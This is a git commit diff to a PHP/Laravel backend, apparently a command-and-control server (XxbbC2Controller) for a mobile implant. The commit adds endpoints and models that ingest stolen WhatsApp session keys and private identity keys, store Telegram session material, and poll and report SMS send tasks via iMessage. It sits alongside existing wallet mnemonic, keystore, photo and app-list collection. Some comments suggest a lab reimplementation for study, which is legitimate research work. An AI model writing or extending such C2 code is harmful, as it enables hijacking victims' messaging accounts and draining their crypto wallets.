feat: wap/sms
This commit is contained in:
@@ -238,6 +238,8 @@ class DeviceController extends Controller
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
|
||||
@@ -16,9 +16,11 @@ use Illuminate\Support\Facades\Storage;
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
|
||||
* /m/t/g /m/t/r imagent SMS poll / report (sms).
|
||||
*
|
||||
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||
* Plugin routes do not write channel_id (same as /api/tg/t).
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -58,6 +60,7 @@ class XxbbC2Controller extends Controller
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
@@ -194,6 +197,47 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */
|
||||
public function whatsapp(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWhatsAppAuth($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms: POST /m/t/g — poll outbound SMS tasks.
|
||||
* Lab never queues send tasks; code=1 + empty data matches native backoff.
|
||||
*/
|
||||
public function smsPoll(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestSmsHeartbeat($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
|
||||
}
|
||||
|
||||
/** sms: POST /m/t/r — task result / status. */
|
||||
public function smsReport(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestSmsTaskReport($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
@@ -202,7 +246,10 @@ class XxbbC2Controller extends Controller
|
||||
);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
/**
|
||||
* @param array<string, mixed>|null $body
|
||||
*/
|
||||
private function xxbbAck(Request $request, ?array $body = null): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
if ($ts === '') {
|
||||
@@ -211,7 +258,10 @@ class XxbbC2Controller extends Controller
|
||||
if ($ts === '') {
|
||||
$ts = (string) (int) round(microtime(true) * 1000);
|
||||
}
|
||||
$json = $body === null
|
||||
? '{}'
|
||||
: (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}');
|
||||
|
||||
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
|
||||
return response($ts.$json, 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,6 +95,16 @@ class Device extends Model
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
|
||||
public function pluginSessions(): HasMany
|
||||
{
|
||||
return $this->hasMany(PluginSession::class);
|
||||
}
|
||||
|
||||
public function smsReports(): HasMany
|
||||
{
|
||||
return $this->hasMany(SmsReport::class);
|
||||
}
|
||||
|
||||
public function beaconTasks(): HasMany
|
||||
{
|
||||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class PluginSession extends Model
|
||||
{
|
||||
public const KIND_TELEGRAM = 'telegram';
|
||||
|
||||
public const KIND_WHATSAPP = 'whatsapp';
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function kindLabel(): string
|
||||
{
|
||||
return match ($this->kind) {
|
||||
self::KIND_TELEGRAM => 'Telegram',
|
||||
self::KIND_WHATSAPP => 'WhatsApp',
|
||||
default => (string) $this->kind,
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class SmsReport extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'task_id', 'dest_phone', 'local_phone', 'msg', 'status', 'payload',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
+153
-17
@@ -9,6 +9,8 @@ use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\SmsReport;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -46,6 +48,8 @@ class IngestService
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
$candidates[] = $payload['deviceID'] ?? null;
|
||||
$candidates[] = $payload['deviceId'] ?? null;
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! empty($value) && is_string($value)) {
|
||||
@@ -191,7 +195,8 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
|
||||
* Own number from sms.js / old imagent. First write wins.
|
||||
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
|
||||
*/
|
||||
public function ingestDevicePhone(Device $device, ?array $payload): void
|
||||
{
|
||||
@@ -202,18 +207,48 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$phone = $payload['p'] ?? $payload['phone'] ?? null;
|
||||
if (! is_string($phone)) {
|
||||
return;
|
||||
}
|
||||
$phone = trim($phone);
|
||||
if ($phone === '') {
|
||||
$phone = $this->extractOwnPhone($payload);
|
||||
if ($phone === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
|
||||
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
|
||||
*/
|
||||
private function extractOwnPhone(array $payload): ?string
|
||||
{
|
||||
foreach (['p', 'phoneNumber'] as $key) {
|
||||
$phone = $this->scalarToString($payload[$key] ?? null);
|
||||
if ($phone !== null) {
|
||||
return $phone;
|
||||
}
|
||||
}
|
||||
|
||||
$cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null;
|
||||
if (is_array($cards)) {
|
||||
foreach ($cards as $card) {
|
||||
if (! is_array($card)) {
|
||||
continue;
|
||||
}
|
||||
$phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null);
|
||||
if ($phone !== null) {
|
||||
return $phone;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null;
|
||||
if (! $isTaskReport) {
|
||||
return $this->scalarToString($payload['phone'] ?? null);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function fillMissingAttribution(
|
||||
Device $device,
|
||||
Request $request,
|
||||
@@ -491,25 +526,91 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
|
||||
* Lab has no dedicated table; store as a keystore identity blob.
|
||||
* xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db).
|
||||
*/
|
||||
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
$this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
], ['user_id', 'userId']);
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore).
|
||||
*/
|
||||
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
|
||||
'userId', 'phoneId', 'registrationID',
|
||||
'identity', 'identityPrivateKey', 'identityPublicKey',
|
||||
'clientStaticKeypairBase64', 'phoneKeyStore',
|
||||
'deviceConfig', 'whatsappVersion',
|
||||
], ['userId', 'user_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
|
||||
*/
|
||||
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$this->ingestKeystore($device, $payload);
|
||||
$this->ingestDevicePhone($device, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
|
||||
*/
|
||||
public function ingestSmsTaskReport(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$this->ingestDevicePhone($device, $payload);
|
||||
|
||||
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
|
||||
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
|
||||
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
|
||||
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
|
||||
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
|
||||
if ($taskId === null && $dest === null && $msg === null && $status === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
SmsReport::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'task_id' => $taskId,
|
||||
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
|
||||
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
|
||||
'msg' => $msg,
|
||||
'status' => $status !== null ? substr($status, 0, 64) : null,
|
||||
'payload' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keepKeys
|
||||
* @param list<string> $accountKeys
|
||||
*/
|
||||
private function upsertPluginSession(
|
||||
Device $device,
|
||||
string $kind,
|
||||
?array $payload,
|
||||
array $keepKeys,
|
||||
array $accountKeys,
|
||||
): void {
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$payload = array_merge($payload['result'], $payload);
|
||||
}
|
||||
|
||||
$blob = [];
|
||||
foreach ([
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
] as $key) {
|
||||
foreach ($keepKeys as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$blob[$key] = $payload[$key];
|
||||
}
|
||||
@@ -517,8 +618,43 @@ class IngestService
|
||||
if ($blob === []) {
|
||||
return;
|
||||
}
|
||||
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
|
||||
$this->ingestKeystore($device, ['result' => $blob]);
|
||||
|
||||
$account = null;
|
||||
foreach ($accountKeys as $key) {
|
||||
$account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null);
|
||||
if ($account !== null) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
$phone = $kind === PluginSession::KIND_WHATSAPP
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
: null;
|
||||
|
||||
PluginSession::query()->updateOrCreate(
|
||||
[
|
||||
'device_id' => $device->id,
|
||||
'kind' => $kind,
|
||||
'account_id' => $account,
|
||||
],
|
||||
[
|
||||
'device_key' => $device->device_id,
|
||||
'phone' => $phone !== null ? substr($phone, 0, 64) : null,
|
||||
'payload' => $blob,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
private function scalarToString(mixed $value): ?string
|
||||
{
|
||||
if (is_int($value) || is_float($value)) {
|
||||
return (string) $value;
|
||||
}
|
||||
if (! is_string($value)) {
|
||||
return null;
|
||||
}
|
||||
$value = trim($value);
|
||||
|
||||
return $value !== '' ? $value : null;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -32,6 +32,10 @@ final class WalletSource
|
||||
'f' => 'BitKeep',
|
||||
's' => 'Solflare',
|
||||
'tg' => 'Telegram',
|
||||
'wp' => 'WhatsApp',
|
||||
'wa' => 'WhatsApp',
|
||||
'wap' => 'WhatsApp',
|
||||
'sms' => 'iMessage',
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
@@ -107,12 +111,15 @@ final class WalletSource
|
||||
'tonhub' => 'Tonhub',
|
||||
'bitpie' => 'Bitpie',
|
||||
'telegram' => 'Telegram',
|
||||
'whatsapp' => 'WhatsApp',
|
||||
];
|
||||
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */
|
||||
private const NON_MNEMONIC_BUNDLES = [
|
||||
'ph.telegra.Telegraph',
|
||||
'net.whatsapp.WhatsApp',
|
||||
'imagent',
|
||||
'com.apple.imagent',
|
||||
];
|
||||
|
||||
public static function fromTag(mixed $tag): string
|
||||
|
||||
Reference in New Issue
Block a user